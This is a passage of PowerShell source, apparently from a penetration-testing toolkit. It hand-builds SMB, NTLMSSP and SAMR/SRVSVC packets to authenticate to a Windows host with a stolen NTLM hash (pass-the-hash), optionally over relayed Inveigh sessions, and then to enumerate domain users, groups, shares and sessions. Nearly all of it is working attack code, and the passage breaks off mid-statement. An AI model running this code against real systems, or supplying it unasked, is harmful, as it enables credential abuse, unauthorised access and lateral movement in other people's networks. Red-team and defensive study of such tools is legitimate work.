$SAMRConnect2.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SAMRConnect2.Add("PointerToSystemName_ActualCount",$max_count) - $SAMRConnect2.Add("PointerToSystemName_SystemName",$system_name) - $SAMRConnect2.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - - return $SAMRConnect2 -} - -function New-PacketSAMRConnect5 -{ - param([String]$SystemName) - - $SystemName = "\\" + $SystemName - [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) - [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) - - if($SystemName.Length % 2) - { - $system_name += 0x00,0x00 - } - else - { - $system_name += 0x00,0x00,0x00,0x00 - } - - $SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $SAMRConnect5.Add("PointerToSystemName_MaxCount",$max_count) - $SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SAMRConnect5.Add("PointerToSystemName_ActualCount",$max_count) - $SAMRConnect5.Add("PointerToSystemName_SystemName",$system_name) - $SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00)) - $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00)) - $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00)) - $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SAMRConnect5 -} - -function New-PacketSAMRGetMembersInAlias -{ - param([Byte[]]$Handle) - - $SAMRGetMembersInAlias = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRGetMembersInAlias.Add("PointerToConnectHandle",$Handle) - - return $SAMRGetMembersInAlias -} - -function New-PacketSAMRClose -{ - param([Byte[]]$Handle) - - $SAMRClose = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRClose.Add("PointerToConnectHandle",$Handle) - - return $SAMRClose -} - -function New-PacketSAMROpenAlias -{ - param([Byte[]]$Handle,[Byte[]]$RID) - - $SAMROpenAlias = New-Object System.Collections.Specialized.OrderedDictionary - $SAMROpenAlias.Add("PointerToConnectHandle",$Handle) - $SAMROpenAlias.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $SAMROpenAlias.Add("RID",$RID) - - return $SAMROpenAlias -} - -function New-PacketSAMROpenGroup -{ - param([Byte[]]$Handle,[Byte[]]$RID) - - $SAMROpenGroup = New-Object System.Collections.Specialized.OrderedDictionary - $SAMROpenGroup.Add("PointerToConnectHandle",$Handle) - $SAMROpenGroup.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $SAMROpenGroup.Add("RID",$RID) - - return $SAMROpenGroup -} - -function New-PacketSAMRQueryGroupMember -{ - param([Byte[]]$Handle) - - $SAMRQueryGroupMember = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRQueryGroupMember.Add("PointerToGroupHandle",$Handle) - - return $SAMRQueryGroupMember -} - -function New-PacketSAMROpenDomain -{ - param([Byte[]]$Handle,[Byte[]]$SIDCount,[Byte[]]$SID) - - $SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary - $SAMROpenDomain.Add("PointerToConnectHandle",$Handle) - $SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) - $SAMROpenDomain.Add("PointerToSid_Count",$SIDCount) - $SAMROpenDomain.Add("PointerToSid_Sid",$SID) - - return $SAMROpenDomain -} - -function New-PacketSAMREnumDomainUsers -{ - param([Byte[]]$Handle) - - $SAMREnumDomainUsers = New-Object System.Collections.Specialized.OrderedDictionary - $SAMREnumDomainUsers.Add("PointerToDomainHandle",$Handle) - $SAMREnumDomainUsers.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) - $SAMREnumDomainUsers.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00)) - $SAMREnumDomainUsers.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00)) - - return $SAMREnumDomainUsers -} - -function New-PacketSAMRLookupNames -{ - param([Byte[]]$Handle,[String]$Names) - - [Byte[]]$names_bytes = [System.Text.Encoding]::Unicode.GetBytes($Names) - [Byte[]]$name_len = ([System.BitConverter]::GetBytes($names_bytes.Length))[0,1] - [Byte[]]$max_count = [System.BitConverter]::GetBytes($Names.Length) - - $SAMRLookupNames = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRLookupNames.Add("PointerToDomainHandle",$Handle) - $SAMRLookupNames.Add("NumNames",[Byte[]](0x01,0x00,0x00,0x00)) - $SAMRLookupNames.Add("PointerToNames_MaxCount",[Byte[]](0xe8,0x03,0x00,0x00)) - $SAMRLookupNames.Add("PointerToNames_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SAMRLookupNames.Add("PointerToNames_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) - $SAMRLookupNames.Add("PointerToNames_Names_NameLen",$name_len) - $SAMRLookupNames.Add("PointerToNames_Names_NameSize",$name_len) - $SAMRLookupNames.Add("PointerToNames_Names_Name_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $SAMRLookupNames.Add("PointerToNames_Names_Name_MaxCount",$max_count) - $SAMRLookupNames.Add("PointerToNames_Names_Name_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SAMRLookupNames.Add("PointerToNames_Names_Name_ActualCount",$max_count) - $SAMRLookupNames.Add("PointerToNames_Names_Name_Names",$names_bytes) - - return $SAMRLookupNames -} - -function New-PacketSAMRLookupRids -{ - param([Byte[]]$Handle,[Byte[]]$RIDCount,[Byte[]]$Rids) - - $SAMRLookupRIDS = New-Object System.Collections.Specialized.OrderedDictionary - $SAMRLookupRIDS.Add("PointerToDomainHandle",$Handle) - $SAMRLookupRIDS.Add("NumRids",$RIDCount) - $SAMRLookupRIDS.Add("Unknown",[Byte[]](0xe8,0x03,0x00,0x00,0x00,0x00,0x00,0x00)) - $SAMRLookupRIDS.Add("NumRids2",$RIDCount) - $SAMRLookupRIDS.Add("Rids",$Rids) - - return $SAMRLookupRIDS -} - -# SRVSVC -function New-PacketSRVSVCNetSessEnum -{ - param([String]$ServerUNC) - - [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) - [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) - - if($ServerUNC.Length % 2) - { - $server_UNC += 0x00,0x00 - } - else - { - $server_UNC += 0x00,0x00,0x00,0x00 - } - - $SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary - $SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$max_count) - $SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$max_count) - $SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) - $SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) - $SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00)) - $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) - $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00)) - $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SRVSVCNetSessEnum -} - -function New-PacketSRVSVCNetShareEnumAll -{ - param([String]$ServerUNC) - - $ServerUNC = "\\" + $ServerUNC - [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) - [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) - - if($ServerUNC.Length % 2) - { - $server_UNC += 0x00,0x00 - } - else - { - $server_UNC += 0x00,0x00,0x00,0x00 - } - - $SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary - $SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) - $SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$max_count) - $SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$max_count) - $SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) - $SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00)) - $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) - $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) - $SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) - $SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SRVSVCNetShareEnum -} - -function Get-UInt16DataLength -{ - param ([Int]$Start,[Byte[]]$Data) - - $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - - return $data_length -} - -function Get-StatusPending -{ - param ([Byte[]]$Status) - - if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') - { - $status_pending = $true - } - - return $status_pending -} - -if($hash -like "*:*") -{ - $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) -} - -if($Domain) -{ - $output_username = $Domain + "\" + $Username -} -else -{ - $output_username = $Username -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - $inveigh_session = $true -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - - if(!$Inveigh) - { - Write-Output "[-] Inveigh Relay session not found" - $startup_error = $true - } - elseif(!$inveigh.session_socket_table[$session].Connected) - { - Write-Output "[-] Inveigh Relay session not connected" - $startup_error = $true - } - - $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -if(!$inveigh_session) -{ - $client = New-Object System.Net.Sockets.TCPClient - $client.Client.ReceiveTimeout = 5000 -} - -if(!$startup_error -and !$inveigh_session) -{ - - try - { - $client.Connect($Target,"445") - } - catch - { - Write-Output "[-] $Target did not respond" - } - -} - -if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) -{ - $client_receive = New-Object System.Byte[] 81920 - - if(!$inveigh_session) - { - $client_stream = $client.GetStream() - $stage = 'NegotiateSMB' - - while($stage -ne 'Exit') - { - - try - { - - switch ($stage) - { - - 'NegotiateSMB' - { - $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 - $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version = 'SMB1' - $stage = 'NTLMSSPNegotiate' - - if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is required" - $stage = 'Exit' - } - else - { - Write-Verbose "[+] SMB signing is required" - $SMB_signing = $true - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is not required" - $stage = 'Exit' - } - else - { - $SMB_signing = $false - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x05,0x82,0x08,0xa0 - } - - } - - } - else - { - $stage = 'NegotiateSMB2' - - if([System.BitConverter]::ToString($client_receive[70]) -eq '03') - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is required" - $stage = 'Exit' - } - else - { - Write-Verbose "[+] SMB signing is required" - $SMB_signing = $true - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is not required" - $stage = 'Exit' - } - else - { - $SMB_signing = $false - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x05,0x80,0x08,0xa0 - } - - } - - } - - Write-Verbose "[+] SMB version is $SMB_version" - } - - 'NegotiateSMB2' - { - $tree_ID = 0x00,0x00,0x00,0x00 - $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $message_ID = 1 - $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'Exit' - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - } - - if(!$SigningCheck) - { - $NTLMSSP = [System.BitConverter]::ToString($client_receive) - $NTLMSSP = $NTLMSSP -replace "-","" - $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") - $NTLMSSP_bytes_index = $NTLMSSP_index / 2 - $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive - $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive - $session_ID = $client_receive[44..51] - $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] - $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] - $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } - - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $session_key_length + - $session_key_length + - $SMB_session_key_offset + - $negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - if($SMB_version -eq 'SMB1') - { - $SMB_user_ID = $client_receive[32,33] - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_SMB_header["UserID"] = $SMB_user_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($SMB_version -eq 'SMB1') - { - - if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') - { - Write-Verbose "[+] $output_username successfully authenticated on $Target" - Write-Output "[-] SMB1 is not supported" - $login_successful = $false - } - else - { - Write-Output "[-] $output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - else - { - if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "[+] $output_username successfully authenticated on $Target" - $login_successful = $true - } - else - { - Write-Output "[-] $output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - $login_successful = $false - } - - } - - } - - if($login_successful -or $inveigh_session) - { - - if($inveigh_session) - { - - if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') - { - Write-Output "[*] Pausing due to Inveigh Relay session lock" - Start-Sleep -s 2 - } - - $inveigh.session_lock_table[$session] = 'locked' - $client = $inveigh.session_socket_table[$session] - $client_stream = $client.GetStream() - $session_ID = $inveigh.session_table[$session] - $message_ID = $inveigh.session_message_ID_table[$session] - $tree_ID = 0x00,0x00,0x00,0x00 - $SMB_signing = $false - } - - if($Action -eq 'All') - { - $action_stage = 'group' - } - else - { - $action_stage = $Action - } - - $path = "\\" + $Target + "\IPC$" - $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) - $j = 0 - $stage = 'TreeConnect' - - while ($stage -ne 'Exit') - { - - try - { - - switch ($stage) - { - - 'CloseRequest' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2CloseRequest $file_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - - 'Connect2' - { - $message_ID++ - $stage_current = $stage - $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SAMR_data = New-PacketSAMRConnect2 $Target - $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data - $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 - $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x39,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..15] - $packet_SMB_header["Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - } - - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > 